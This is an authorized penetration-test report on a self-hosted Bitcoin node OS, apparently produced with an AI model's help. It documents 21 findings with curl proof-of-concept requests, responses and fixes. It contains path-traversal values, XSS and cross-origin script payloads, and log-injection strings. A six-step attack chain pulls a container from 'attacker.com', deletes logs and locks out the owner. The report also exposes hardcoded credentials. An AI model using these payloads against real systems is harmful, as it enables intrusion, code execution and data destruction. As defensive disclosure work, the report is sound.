Overnight pentest run produced recon, analysis, exploitation reports, and a full security assessment. Plan.md updated with 22 prioritized fix items for auth, SSRF, injection, XSS, and hardening. Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
40 KiB
Security Assessment Report
Target: http://192.168.1.228 (Archipelago Bitcoin Node OS) Assessment Date: 2026-03-06 Assessor: Authorized penetration test (owner-approved) Classification: CONFIDENTIAL
1. Executive Summary
An authorized penetration test was conducted against the Archipelago Bitcoin Node OS instance at 192.168.1.228. The assessment targeted the full application stack: Nginx reverse proxy, Rust JSON-RPC backend, Vue 3 frontend, WebSocket interface, and 30 containerized services.
Overall Risk Rating: CRITICAL
The system has no functional authentication. The login endpoint verifies passwords but creates no server-side session, and zero middleware gates access to any backend endpoint. Any device on the LAN has full administrative control over the node, including the ability to sign data with the node's private key, install and execute arbitrary container images, delete directories via path traversal, and dump the complete system state via WebSocket.
Findings by Severity
| Severity | Count |
|---|---|
| Critical | 6 |
| High | 7 |
| Medium | 5 |
| Low | 3 |
| Total | 21 |
Top 3 Recommendations
-
Wire authentication middleware into the RPC handler immediately. The session infrastructure exists in
core/startos/src/middleware/auth.rs(cookie-based sessions, SHA-256 token hashing, rate limiting) but is not connected to the activecore/archipelago/request pipeline. This single fix addresses AUTH-001 through AUTH-012. -
Implement input validation on all RPC parameters.
package.uninstallaccepts path traversal sequences (../../),package.installpulls from arbitrary registries, andcontainer-installreads arbitrary filesystem paths. Allowlist validapp_idformats (^[a-z0-9-]+$) and restrictdockerImageto a trusted registry list. -
Stop running the backend as root and disable dev mode. The systemd service runs as
User=rootwithARCHIPELAGO_DEV_MODE=true. This amplifies every vulnerability — unauthenticated container operations run as root, and dev mode exposes additional attack surface.
2. Scope and Methodology
Scope
| Component | In Scope | Notes |
|---|---|---|
| Nginx reverse proxy (port 80/443) | Yes | All locations, security headers |
| Rust backend (port 5678) | Yes | All RPC methods, HTTP endpoints, WebSocket |
| Vue 3 frontend | Yes | Client-side auth, XSS sinks |
| Containerized services (30 containers) | Limited | Probed via RPC; individual app testing limited to default creds |
| SSH (port 22) | Out of scope | — |
Tools and Techniques
- Reconnaissance: Nmap service enumeration, manual HTTP probing, nginx config review
- Source code review: Full Rust backend (
core/), Vue frontend (neode-ui/src/), nginx configs - Live exploitation: curl-based proof-of-concept against all RPC endpoints, WebSocket testing via Node.js client
- Authentication testing: Session analysis, brute force validation, CORS policy testing
- Injection testing: Path traversal, SSRF via Tor proxy, container image injection, log injection
Limitations
- Individual containerized applications were not deeply tested (only default credential checks)
- SSH was not tested
- No denial-of-service testing was performed
- Testing was limited to LAN access (no external/internet testing)
- Some client-side findings (postMessage) were identified via source review only, not live exploitation
3. Findings Summary Table
| ID | Severity | Type | Endpoint | Status |
|---|---|---|---|---|
| AUTH-001 | Critical | No Server-Side Session Management | POST /rpc/v1 (auth.login) |
Confirmed |
| AUTH-002 | Critical | All RPC Endpoints Unauthenticated | POST /rpc/v1 (all methods) |
Confirmed |
| AUTH-005 | Critical | Frontend-Only Authentication | Browser localStorage | Confirmed |
| AUTH-007 | Critical | Unauthenticated WebSocket State Dump | GET /ws/db |
Confirmed |
| SSRF-004 | Critical | Arbitrary Container Image Pull + RCE | POST /rpc/v1 (package.install) |
Confirmed |
| INJ-002 | Critical | Path Traversal in package.uninstall | POST /rpc/v1 (package.uninstall) |
Confirmed |
| AUTH-003 | High | No Brute Force Protection | POST /rpc/v1 (auth.login) |
Confirmed |
| AUTH-008 | High | Unauthenticated P2P Message Injection | POST /archipelago/node-message |
Confirmed |
| AUTH-009 | High | CORS Wildcard on Multiple Endpoints | Multiple (port 5678 + nginx) | Confirmed |
| AUTH-011 | High | Unauthenticated LND Proxy | GET /proxy/lnd/* (port 5678) |
Confirmed (partial) |
| XSS-004 | High | Zero Security Headers | All HTTP responses | Confirmed |
| XSS-007 | High | CORS Enables Cross-Origin Attacks | All backend endpoints | Confirmed |
| SSRF-001 | High | Blind SSRF via node-check-peer | POST /rpc/v1 (node-check-peer) |
Confirmed |
| SSRF-002 | High | Outbound SSRF via node-send-message | POST /rpc/v1 (node-send-message) |
Confirmed |
| AUTH-006 | Medium | No-Op Logout | POST /rpc/v1 (auth.logout) |
Confirmed |
| AUTH-012 | Medium | Unauthenticated Container Log Access | GET /api/container/logs (port 5678) |
Confirmed |
| XSS-001 | Medium | Stored XSS Payloads in P2P Messages | POST /archipelago/node-message |
Confirmed |
| INJ-001 | Medium | File Existence Oracle | POST /rpc/v1 (container-install) |
Confirmed |
| INJ-006 | Medium | Unauthenticated Claude API Proxy | GET /aiui/api/claude/* |
Confirmed |
| XSS-005 | Low | Echo Endpoint Reflects Arbitrary Input | POST /rpc/v1 (echo) |
Confirmed |
| INJ-007 | Low | Log Injection via P2P Messages | POST /archipelago/node-message |
Confirmed |
4. Detailed Findings
AUTH-001 — No Server-Side Session Management
Severity: Critical CVSS 3.1: 9.8 (Critical) OWASP: A07:2021 — Identification and Authentication Failures
Description: The auth.login RPC method verifies the password against a bcrypt hash but returns null on success. No session token, cookie, or JWT is created. There is zero server-side session state. The core/startos/src/middleware/auth.rs contains a complete session middleware (cookie-based sessions, SHA-256 hashing, rate limiting) but it is not wired into the core/archipelago/ binary.
Evidence:
Request:
curl -sv -X POST http://192.168.1.228/rpc/v1 \
-H 'Content-Type: application/json' \
-d '{"jsonrpc":"2.0","id":1,"method":"auth.login","params":{"password":"test123test"}}'
Response (note: no Set-Cookie header):
< HTTP/1.1 200 OK
< Server: nginx/1.22.1
< Content-Type: application/json
< Content-Length: 78
< Connection: keep-alive
{"result":null,"error":{"code":-1,"message":"Password Incorrect","data":null}}
Even on a correct login, the response is {"result":null,"error":null} with no cookie or token. The password check is cosmetic — its result is never persisted.
Impact: Authentication is entirely non-functional. All subsequent findings flow from this root cause. Every endpoint is permanently accessible to any network client.
Remediation: Wire core/startos/src/middleware/auth.rs into the core/archipelago/ HTTP handler. Add session creation to auth.login on success, and add session validation middleware before the RPC dispatch.
AUTH-002 — All Sensitive RPC Endpoints Callable Without Authentication
Severity: Critical CVSS 3.1: 9.8 (Critical) OWASP: A01:2021 — Broken Access Control
Description: Every RPC method (30+) is callable by any network client without authentication. The RPC handler dispatches directly to method handlers via a flat match statement with no middleware.
Evidence — Node Identity Leak (node.did):
curl -s -X POST http://192.168.1.228/rpc/v1 \
-H 'Content-Type: application/json' \
-d '{"jsonrpc":"2.0","id":2,"method":"node.did","params":{}}'
{
"result": {
"did": "did:key:z6MkmkSBSqcKJW7T7iQbFJ8JhHCDSoFi8fSpRiktQfi6E5R2",
"pubkey": "6c682474d91a2272ed1e7cddfacff7d0db1cd7f494e65a03a6a3a0c1de0b09f9"
},
"error": null
}
Evidence — Cryptographic Key Signing Oracle (node.signChallenge):
curl -s -X POST http://192.168.1.228/rpc/v1 \
-H 'Content-Type: application/json' \
-d '{"jsonrpc":"2.0","id":11,"method":"node.signChallenge","params":{"challenge":"pentest-proof-of-concept"}}'
{
"result": {
"signature": "bb10f455fe99794be4e14c233511fe2abc9e019490902b7407835767ff1b0f281e591088be4b434370a52521db741b2598796b9fda2ff24294658e02fc3d040a"
},
"error": null
}
Evidence — System Onboarding Reset (auth.resetOnboarding):
curl -s -X POST http://192.168.1.228/rpc/v1 \
-H 'Content-Type: application/json' \
-d '{"jsonrpc":"2.0","id":17,"method":"auth.resetOnboarding","params":{}}'
{"result": true, "error": null}
Evidence — Peer Network Exposure (node-list-peers):
curl -s -X POST http://192.168.1.228/rpc/v1 \
-H 'Content-Type: application/json' \
-d '{"jsonrpc":"2.0","id":5,"method":"node-list-peers","params":{}}'
{
"result": {
"peers": [
{
"added_at": "2026-02-17T14:00:00.000Z",
"onion": "5sgfyeax3qolikxqxez5qidoj7hzgbi67qxihdadtebps2yqfre2avqd.onion",
"pubkey": "dea8d3cbca0fbe041357c8639a4dad3abbf32fc734e8fc0bd82a562d5e6df51d"
},
{
"added_at": "2026-03-02T11:58:59.608751372+00:00",
"onion": "a36eaqmxsdeept7ogodaypdw6hpmoqfwzxc5gcchkci4tcqixkpnntad.onion",
"pubkey": "6c682474d91a2272ed1e7cddfacff7d0db1cd7f494e65a03a6a3a0c1de0b09f9"
}
]
}
}
Full list of confirmed unauthenticated methods:
| Category | Methods |
|---|---|
| Container control | container-install, container-start, container-stop, container-remove, container-list |
| Package management | package.install, package.start, package.stop, package.restart, package.uninstall |
| Cryptographic operations | node.signChallenge, node.createBackup |
| Identity exposure | node.did, node.nostr-pubkey, node.tor-address |
| P2P operations | node-add-peer, node-remove-peer, node-send-message, node-list-peers, node-check-peer |
| Auth management | auth.changePassword, auth.resetOnboarding, auth.logout |
| Bitcoin/Lightning | bitcoin.getinfo, lnd.getinfo |
Impact: An unauthenticated attacker on the LAN can: leak the node's DID, Nostr pubkey, and peer Tor addresses; sign arbitrary data with the node's ed25519 private key (identity impersonation); reset onboarding state (potentially re-setup with attacker password); control the full container lifecycle; and enumerate all running services.
Remediation: Add authentication middleware that gates all methods except auth.login, auth.isOnboardingComplete, and echo.
AUTH-005 — Frontend-Only Authentication Enforcement
Severity: Critical CVSS 3.1: 9.8 (Critical) OWASP: A07:2021 — Identification and Authentication Failures
Description: Authentication exists only in the Vue.js frontend. The auth state is localStorage.getItem('neode-auth') === 'true'. Session "validation" calls server.echo — an unprotected endpoint that always succeeds — creating a circular trust loop.
Evidence: AUTH-002 proves the underlying issue: all backend endpoints work without any authentication token or cookie. The frontend guard is trivially bypassed.
Impact: Executing localStorage.setItem('neode-auth','true'); location.href='/dashboard' in the browser console grants full UI access without a password.
Remediation: Implement server-side session validation. The frontend should send a session cookie that the backend validates on every request.
AUTH-007 — Unauthenticated WebSocket Full State Dump
Severity: Critical CVSS 3.1: 8.6 (High) OWASP: A01:2021 — Broken Access Control
Description: The WebSocket endpoint at /ws/db accepts connections without authentication and immediately transmits the complete system state (20,402 bytes).
Evidence:
curl -sv -H "Upgrade: websocket" -H "Connection: Upgrade" \
-H "Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==" \
-H "Sec-WebSocket-Version: 13" http://192.168.1.228/ws/db
Response: HTTP/1.1 101 Switching Protocols followed by full state dump:
{
"rev": 43,
"data": {
"server-info": {
"id": "6c682474d91a2272",
"version": "0.1.0",
"pubkey": "6c682474d91a2272ed1e7cddfacff7d0db1cd7f494e65a03a6a3a0c1de0b09f9",
"status-info": { "restarting": false, "shutting-down": false, "updated": false }
},
"package-data": {
"homeassistant": { "state": "running" },
"fedimint": { "state": "running" },
"photoprism": { "state": "running" }
/* ... all 30 installed packages with full manifest, ports, state ... */
}
}
}
Impact: Any client on the LAN receives the full system state in real-time: node identity, all installed packages, their running states, internal ports, and ongoing updates.
Remediation: Require session cookie validation on WebSocket upgrade. Reject connections without a valid session.
SSRF-004 — Arbitrary Container Image Pull + Execution
Severity: Critical CVSS 3.1: 9.8 (Critical) OWASP: A10:2021 — Server-Side Request Forgery + A08:2021 — Software and Data Integrity Failures
Description: The package.install RPC method accepts a dockerImage parameter validated only against shell metacharacters. It executes podman pull to any registry URL without authentication, allowlisting, or image signature verification. The backend runs as root.
Evidence:
curl -s -X POST http://192.168.1.228/rpc/v1 \
-H 'Content-Type: application/json' \
-d '{"method":"package.install","params":{"id":"pentest-ssrf-probe","dockerImage":"localhost:1/nonexistent:latest"}}'
{
"result": null,
"error": {
"code": -1,
"message": "Failed to pull image: Trying to pull localhost:1/nonexistent:latest...\ntime=\"2026-03-06T02:34:07Z\" level=warning msg=\"Failed, retrying in 1s ... (1/3). Error: initializing source docker://localhost:1/nonexistent:latest: pinging container registry localhost:1: Get \\\"https://localhost:1/v2/\\\": dial tcp [::1]:1: connect: connection refused\"\n..."
}
}
The server executed podman pull localhost:1/nonexistent:latest and attempted to connect to an attacker-specified registry. Error output leaks internal IP addresses ([::1]:1), retry behavior, and confirms outbound HTTPS connections.
Impact: An unauthenticated attacker can force the server to pull any container image from any registry (SSRF) and, if the pull succeeds, execute it as root (RCE). This is a direct path to full system compromise.
Remediation: Restrict dockerImage to a hardcoded list of trusted registries. Require Cosign image signature verification (infrastructure exists in core/security/). Require authentication for all package management operations.
INJ-002 — Path Traversal in package.uninstall (Arbitrary Directory Deletion)
Severity: Critical CVSS 3.1: 9.1 (Critical) OWASP: A03:2021 — Injection
Description: The package.uninstall handler constructs a filesystem path from the id parameter without sanitization. Path traversal sequences (../../) resolve to arbitrary directories, and the handler executes the equivalent of rm -rf on the resolved path. The backend runs as root.
Evidence:
curl -s -X POST http://192.168.1.228/rpc/v1 \
-H 'Content-Type: application/json' \
-d '{"method":"package.uninstall","params":{"id":"../../tmp/pentest-traversal-probe"}}'
{"result":{"status":"uninstalled"},"error":null}
The path traversal ../../tmp/pentest-traversal-probe was accepted and processed without sanitization. The handler constructs /var/lib/archipelago/../../tmp/pentest-traversal-probe which resolves to /tmp/pentest-traversal-probe. No damage occurred (target didn't exist), but the traversal was processed with a success response.
Impact: Unauthenticated arbitrary directory deletion. An attacker could delete /var/lib/archipelago/../../etc/nginx, /var/lib/archipelago/../../opt/archipelago, or any directory writable by root.
Remediation: Validate id against ^[a-z0-9][a-z0-9-]*$. Reject any input containing /, .., or path separators. Canonicalize the resolved path and verify it remains within the expected directory.
AUTH-003 — No Brute Force Protection on Login
Severity: High CVSS 3.1: 7.5 (High) OWASP: A07:2021 — Identification and Authentication Failures
Description: The login endpoint has no rate limiting, account lockout, progressive delays, or CAPTCHA. The rate limiter in core/startos/src/middleware/auth.rs (3 attempts per 20 seconds) is not connected.
Evidence:
for i in $(seq 1 10); do
curl -s -o /dev/null -w "Attempt $i: HTTP %{http_code}\n" \
-X POST http://192.168.1.228/rpc/v1 \
-H 'Content-Type: application/json' \
-d "{\"method\":\"auth.login\",\"params\":{\"password\":\"wrong$i\"}}"
done
Attempt 1: HTTP 200
Attempt 2: HTTP 200
...
Attempt 10: HTTP 200
All 10 rapid-fire attempts returned HTTP 200 with no lockout or delay. Bcrypt provides ~100ms natural delay, allowing ~600 attempts/minute.
Impact: Unlimited password guessing. A targeted dictionary attack would succeed rapidly against weak passwords.
Remediation: Wire the existing rate limiter from core/startos/src/middleware/auth.rs. Add nginx limit_req as defense-in-depth.
AUTH-008 — Unauthenticated P2P Message Injection + Spoofing
Severity: High CVSS 3.1: 7.5 (High) OWASP: A03:2021 — Injection
Description: The P2P message endpoint accepts arbitrary from_pubkey and message values without authentication or signature verification. Injected messages are stored and displayed in the UI identically to legitimate peer messages.
Evidence:
Inject:
curl -s -X POST http://192.168.1.228/archipelago/node-message \
-H 'Content-Type: application/json' \
-d '{"from_pubkey":"PENTEST_PROBE_KEY","message":"pentest-verification-message"}'
{"ok":true}
Verify stored:
curl -s -X POST http://192.168.1.228/rpc/v1 \
-H 'Content-Type: application/json' \
-d '{"method":"node-messages-received","params":{}}'
{
"result": {
"messages": [
{
"from_pubkey": "PENTEST_PROBE_KEY",
"message": "pentest-verification-message",
"timestamp": "2026-03-06T02:32:30.049973683+00:00"
}
]
}
}
Impact: Social engineering, phishing, and impersonation attacks via spoofed peer messages. Combined with CORS wildcard, any website can inject messages remotely.
Remediation: Require cryptographic signature verification on all incoming messages. Validate from_pubkey against the known peer list and verify the message signature matches.
AUTH-009 — CORS Wildcard on Multiple Endpoints
Severity: High CVSS 3.1: 7.4 (High) OWASP: A05:2021 — Security Misconfiguration
Description: The backend sets Access-Control-Allow-Origin: * on all non-RPC endpoints and on all responses from port 5678. The direct backend port (5678) is accessible from the LAN.
Evidence:
curl -s -D- -X POST http://192.168.1.228/archipelago/node-message \
-H 'Content-Type: application/json' \
-H 'Origin: http://evil.com' \
-d '{"from_pubkey":"cors-test","message":"cors-test"}'
HTTP/1.1 200 OK
Content-Type: application/json
access-control-allow-origin: *
Confirmed on: /archipelago/node-message, /api/container/logs, /electrs-status, /proxy/lnd/* (all via port 5678).
Impact: Any website visited by someone on the same LAN can silently inject messages, read container logs, and access internal service data via cross-origin requests. Transforms LAN-only vulnerabilities into remotely exploitable drive-by attacks.
Remediation: Replace * with explicit allowed origins. On port 5678, restrict CORS to the known frontend origin only.
AUTH-011 — Unauthenticated LND Proxy
Severity: High CVSS 3.1: 7.5 (High) OWASP: A01:2021 — Broken Access Control
Description: The proxy endpoint at /proxy/lnd/* on port 5678 forwards requests to the internal LND REST API (http://127.0.0.1:8080) without authentication. CORS wildcard is set on all responses.
Evidence:
curl -s -D- http://192.168.1.228:5678/proxy/lnd/v1/getinfo
HTTP/1.1 400 Bad Request
access-control-allow-origin: *
content-length: 48
Client sent an HTTP request to an HTTPS server.
The endpoint is reachable with no authentication. Currently blocked by TLS mismatch (LND expects HTTPS), but the auth and CORS issues are confirmed. If the proxy is updated to use HTTPS, or LND is configured for HTTP, this becomes a direct gateway to Lightning Network operations.
Impact: Potential unauthenticated access to LND REST API (channel management, wallet operations, invoice creation).
Remediation: Require authentication. Remove CORS wildcard. If LND proxy is needed, restrict to authenticated requests only and use HTTPS upstream.
XSS-004 — Zero Security Headers
Severity: High CVSS 3.1: 6.1 (Medium) — Elevated to High due to amplification of other findings OWASP: A05:2021 — Security Misconfiguration
Description: The nginx server returns no security headers. Additionally, all 25+ app proxy locations explicitly strip X-Frame-Options and Content-Security-Policy from proxied apps.
Evidence:
curl -sI http://192.168.1.228/
HTTP/1.1 200 OK
Server: nginx/1.22.1
Date: Fri, 06 Mar 2026 02:33:31 GMT
Content-Type: text/html
Content-Length: 2035
Last-Modified: Fri, 06 Mar 2026 01:55:44 GMT
Connection: keep-alive
ETag: "69aa3420-7f3"
Accept-Ranges: bytes
Missing headers: Content-Security-Policy, X-Frame-Options, X-Content-Type-Options, Strict-Transport-Security, X-XSS-Protection, Referrer-Policy.
Impact: No defense-in-depth against XSS, clickjacking, or MIME sniffing. Security-sensitive proxied apps (Vaultwarden password manager, Portainer container admin) lose their own CSP/X-Frame-Options protections. Server version disclosed.
Remediation: Add security headers to nginx:
add_header Content-Security-Policy "default-src 'self'; script-src 'self'" always;
add_header X-Frame-Options "SAMEORIGIN" always;
add_header X-Content-Type-Options "nosniff" always;
add_header Referrer-Policy "strict-origin-when-cross-origin" always;
server_tokens off;
Stop stripping CSP/X-Frame-Options from proxied apps unless specifically required for iframe embedding.
XSS-007 — CORS Wildcard Enables Cross-Origin Attack Delivery
Severity: High CVSS 3.1: 7.4 (High) OWASP: A05:2021 — Security Misconfiguration
Description: The CORS wildcard on backend endpoints, combined with the absence of authentication, enables any website to exploit all other findings remotely via cross-origin requests.
Evidence: See AUTH-009. The combination of CORS * + no auth + stored message injection means:
<!-- Attacker's webpage visited by anyone on the same LAN -->
<script>
fetch('http://192.168.1.228/archipelago/node-message', {
method: 'POST',
headers: {'Content-Type': 'application/json'},
body: JSON.stringify({
from_pubkey: 'attacker',
message: '<img src=x onerror=alert(document.cookie)>'
})
})
</script>
Impact: Transforms every LAN-only vulnerability into a remote drive-by attack. Any website can inject messages, read container logs, and interact with internal services.
Remediation: See AUTH-009.
SSRF-001 — Blind SSRF via node-check-peer (with Port Injection)
Severity: High CVSS 3.1: 7.3 (High) OWASP: A10:2021 — Server-Side Request Forgery
Description: The node-check-peer RPC method accepts an onion parameter and makes an outbound HTTP request through the Tor SOCKS5 proxy without calling validate_onion() (unlike node-send-message which does validate). Port injection via :9999 suffix is accepted.
Evidence:
curl -s -X POST http://192.168.1.228/rpc/v1 \
-H 'Content-Type: application/json' \
-d '{"method":"node-check-peer","params":{"onion":"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa.onion:9999"}}'
{"result":{"onion":"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa.onion:9999","reachable":false},"error":null}
The boolean reachable response leaks whether the target service is up. Port injection enables port scanning of .onion services.
Impact: Unauthenticated blind SSRF through Tor with port scanning capability.
Remediation: Apply the same validate_onion() check used in node-send-message. Strip port numbers. Require authentication.
SSRF-002 — SSRF via node-send-message (Forced Outbound Request)
Severity: High CVSS 3.1: 6.5 (Medium) — Elevated to High due to identity leak OWASP: A10:2021 — Server-Side Request Forgery
Description: The node-send-message method validates onion format (56 chars, base32) but still allows targeting any valid-format .onion address. The HTTP POST includes the node's own public key in the body.
Evidence:
curl -s -X POST http://192.168.1.228/rpc/v1 \
-H 'Content-Type: application/json' \
-d '{"method":"node-send-message","params":{"onion":"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa","message":"ssrf-probe"}}'
{
"error": {
"code": -1,
"message": "Failed to send over Tor: error sending request for url (http://aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa.onion/archipelago/node-message): error trying to connect: socks connect error: Proxy server unreachable"
}
}
Error messages leak the full URL, proxy status, and connection details. The request body sent to the target includes from_pubkey (the node's public key).
Impact: Forced outbound HTTP POST with node identity disclosure. An attacker controlling a .onion service would receive the node's pubkey.
Remediation: Require authentication. Restrict peer messaging to known peers in the peer list only. Sanitize error messages to avoid leaking internal details.
AUTH-006 — No-Op Logout
Severity: Medium CVSS 3.1: 3.7 (Low) — Elevated to Medium due to architectural impact OWASP: A07:2021 — Identification and Authentication Failures
Description: The logout handler returns null immediately. No server-side session exists to invalidate.
Evidence:
curl -s -X POST http://192.168.1.228/rpc/v1 \
-H 'Content-Type: application/json' \
-d '{"jsonrpc":"2.0","id":8,"method":"auth.logout","params":{}}'
{"result":null,"error":null}
Impact: Users cannot effectively log out. In a shared-device scenario, previous sessions cannot be invalidated.
Remediation: Implement session creation in login, session invalidation in logout.
AUTH-012 — Unauthenticated Container Log Access
Severity: Medium CVSS 3.1: 5.3 (Medium) OWASP: A01:2021 — Broken Access Control
Description: Container logs are accessible via GET /api/container/logs on port 5678 without authentication. CORS wildcard is set.
Evidence:
curl -s -D- "http://192.168.1.228:5678/api/container/logs?app_id=bitcoin&lines=10"
HTTP/1.1 500 Internal Server Error
content-type: application/json
access-control-allow-origin: *
{"error":"Failed to get container logs"}
The endpoint processes the request (no 401/403). The 500 is from log retrieval failure, not an auth check.
Impact: Container logs may contain credentials, internal IPs, configuration details, and other sensitive data.
Remediation: Require authentication. Remove CORS wildcard.
XSS-001 — Stored XSS Payloads in P2P Messages
Severity: Medium CVSS 3.1: 5.4 (Medium) OWASP: A03:2021 — Injection
Description: XSS payloads are stored server-side without sanitization and returned verbatim via the API. Vue's {{ }} template interpolation currently escapes HTML in the frontend, preventing execution. However, the server stores raw HTML/script content — any rendering change, alternative client, or v-html usage would enable immediate exploitation.
Evidence:
curl -X POST http://192.168.1.228/archipelago/node-message \
-H 'Content-Type: application/json' \
-d '{"from_pubkey":"\" onfocus=alert(1) autofocus=\"","message":"<img src=x onerror=alert(document.cookie)>"}'
{"ok":true}
Stored payloads returned verbatim:
{
"from_pubkey": "\" onfocus=alert(1) autofocus=\"",
"message": "<img src=x onerror=alert(document.cookie)>",
"timestamp": "2026-03-06T02:26:44.732411042+00:00"
}
Impact: Server-side stored XSS. Currently mitigated by Vue auto-escaping, but no defense-in-depth. The :title attribute binding with unsanitized from_pubkey is a closer attack vector.
Remediation: Sanitize all message content server-side before storage. Strip HTML tags and special characters from from_pubkey and message fields.
INJ-001 — File Existence Oracle via container-install
Severity: Medium CVSS 3.1: 5.3 (Medium) OWASP: A01:2021 — Broken Access Control
Description: The container-install method reads any file path and returns different error messages based on file existence vs. parse failure.
Evidence:
Existing file:
curl -s -X POST http://192.168.1.228/rpc/v1 \
-d '{"method":"container-install","params":{"manifest_path":"/etc/hostname"}}'
Response: "Failed to parse manifest" (file exists, read succeeded, YAML parse failed)
Non-existing file:
curl -s -X POST http://192.168.1.228/rpc/v1 \
-d '{"method":"container-install","params":{"manifest_path":"/nonexistent/file.yml"}}'
Response: "Failed to read manifest file" (file doesn't exist)
Impact: Unauthenticated filesystem enumeration. Attacker can determine file existence, potentially mapping sensitive file locations.
Remediation: Validate manifest_path against an allowlist of permitted directories (e.g., apps/*/manifest.yml). Return a generic error message regardless of failure type.
INJ-006 — Unauthenticated Claude API Proxy
Severity: Medium CVSS 3.1: 5.3 (Medium) OWASP: A01:2021 — Broken Access Control
Description: The nginx configuration proxies /aiui/api/claude/* to port 3141 (Claude API proxy) and /aiui/api/openrouter/* to openrouter.ai without authentication at the nginx level. The Claude proxy stores the owner's API credentials and uses them for all incoming requests.
Impact: Any network client can consume the owner's Claude API credits and OpenRouter credits without authentication. Financial impact scales with usage.
Remediation: Require authentication at the nginx level for all /aiui/api/ paths. Add rate limiting.
XSS-005 — Echo Endpoint Reflects Arbitrary Input
Severity: Low CVSS 3.1: 3.1 (Low) OWASP: A03:2021 — Injection
Description: The echo RPC method reflects the message parameter verbatim in the JSON response.
Evidence:
curl -s -X POST http://192.168.1.228/rpc/v1 \
-H 'Content-Type: application/json' \
-d '{"method":"echo","params":{"message":"<script>alert(document.cookie)</script>"}}'
{"result":{"message":"<script>alert(document.cookie)</script>"},"error":null}
Impact: Low — Content-Type: application/json prevents direct browser rendering. Could be exploited if the response is consumed unsafely by any client.
Remediation: Sanitize or limit the echo response to alphanumeric characters. This endpoint appears to be for health checks only.
INJ-007 — Log Injection via P2P Messages
Severity: Low CVSS 3.1: 3.1 (Low) OWASP: A09:2021 — Security Logging and Monitoring Failures
Description: Newline characters in P2P message fields are stored without sanitization, enabling log injection if messages are written to log files.
Evidence:
curl -s -X POST http://192.168.1.228/archipelago/node-message \
-H 'Content-Type: application/json' \
-d '{"from_pubkey":"injected\nINFO fake log line","message":"log-injection-test\r\n[CRITICAL] System compromised"}'
{"ok":true}
Stored with newlines intact:
{
"from_pubkey": "injected\nINFO fake log line",
"message": "log-injection-test\r\n[CRITICAL] System compromised"
}
Impact: Could create fake log entries to mislead forensic analysis if messages are ever written to log files.
Remediation: Strip or escape newline characters (\n, \r) from all stored message content.
5. Critical Attack Chain
The following attack chain demonstrates full system compromise from any device on the LAN, requiring zero authentication:
# Step 1: Enumerate node identity
curl -s http://192.168.1.228/rpc/v1 \
-d '{"method":"node.did","params":{}}'
# Step 2: Dump full system state via WebSocket
wscat -c ws://192.168.1.228/ws/db
# Step 3: Sign arbitrary data as the node (identity theft)
curl -s http://192.168.1.228/rpc/v1 \
-d '{"method":"node.signChallenge","params":{"challenge":"I transfer all bitcoin"}}'
# Step 4: Pull and execute attacker-controlled container (RCE)
curl -s http://192.168.1.228/rpc/v1 \
-d '{"method":"package.install","params":{"id":"backdoor","dockerImage":"attacker.com/rootkit:latest"}}'
# Step 5: Delete evidence via path traversal
curl -s http://192.168.1.228/rpc/v1 \
-d '{"method":"package.uninstall","params":{"id":"../../var/log"}}'
# Step 6: Reset onboarding to lock out legitimate user
curl -s http://192.168.1.228/rpc/v1 \
-d '{"method":"auth.resetOnboarding","params":{}}'
Result: Full node takeover — identity stolen, arbitrary code running, logs deleted, owner locked out.
6. Recommendations
Immediate (Critical — implement within 48 hours)
| Priority | Action | Findings Addressed |
|---|---|---|
| P0 | Wire core/startos/src/middleware/auth.rs session middleware into core/archipelago/ HTTP handler. Create sessions on login, validate on every request. |
AUTH-001, AUTH-002, AUTH-005, AUTH-006 |
| P0 | Validate id parameter in package.uninstall against ^[a-z0-9][a-z0-9-]*$. Reject path separators. |
INJ-002 |
| P0 | Add registry allowlist to package.install. Require Cosign signature verification. |
SSRF-004 |
| P0 | Require authentication on WebSocket upgrade at /ws/db. |
AUTH-007 |
Short-Term (High — implement within 1 week)
| Priority | Action | Findings Addressed |
|---|---|---|
| P1 | Add nginx limit_req on /rpc/v1 (5 requests/second burst 10). |
AUTH-003 |
| P1 | Require cryptographic signature verification on /archipelago/node-message. |
AUTH-008, XSS-001, INJ-007 |
| P1 | Replace CORS * with explicit allowed origins. Block direct access to port 5678 via firewall. |
AUTH-009, XSS-007, AUTH-011, AUTH-012 |
| P1 | Add security headers to nginx (CSP, X-Frame-Options, X-Content-Type-Options, Referrer-Policy). Remove server_tokens. |
XSS-004 |
| P1 | Apply validate_onion() to node-check-peer. Restrict messaging to known peers only. |
SSRF-001, SSRF-002 |
Medium-Term (Medium — implement within 1 month)
| Priority | Action | Findings Addressed |
|---|---|---|
| P2 | Stop running backend as root. Create dedicated archipelago service account. |
Amplification factor |
| P2 | Disable dev mode (ARCHIPELAGO_DEV_MODE=false) in production. |
Amplification factor |
| P2 | Validate manifest_path in container-install against allowlisted directories. Normalize error messages. |
INJ-001 |
| P2 | Add authentication to /aiui/api/ nginx proxy locations. |
INJ-006 |
| P2 | Sanitize echo endpoint output. | XSS-005 |
Architectural Recommendations
-
Defense in depth: The system relies on a single authentication layer (currently broken). Add network-level controls (firewall port 5678), nginx-level auth, and backend middleware as independent layers.
-
Input validation framework: Create a shared validation module for all RPC parameters. Establish allowlist patterns for
app_id,package_id,manifest_path,onion, anddockerImage. -
Secrets management: Hardcoded credentials found in source (
archipelago:archipelago123for Bitcoin RPC,password123for dev mode). Migrate all credentials tocore/security/secrets_manager.rs. -
Session secret:
core/.env.productioncontainsARCHIPELAGO_SESSION_SECRET=CHANGE_ME_ON_FIRST_RUN. Generate a cryptographically random secret on first boot before any sessions are created.
7. Appendix
A. Technologies Detected
| Layer | Technology | Version |
|---|---|---|
| OS | Debian 12 (Bookworm) | — |
| Web Server | nginx | 1.22.1 |
| Reverse Proxy (containers) | OpenResty (Nginx Proxy Manager) | 2.14.0 |
| Backend | Rust (custom binary on port 5678) | — |
| Frontend | Vue 3 + TypeScript + Vite 7 | — |
| Container Runtime | Podman (rootless) | — |
| SSH | OpenSSH | 9.2p1 |
B. Open Ports
| Port | Service | Auth Required |
|---|---|---|
| 22/tcp | SSH (OpenSSH 9.2p1) | Yes |
| 80/tcp | HTTP (nginx — main UI) | No |
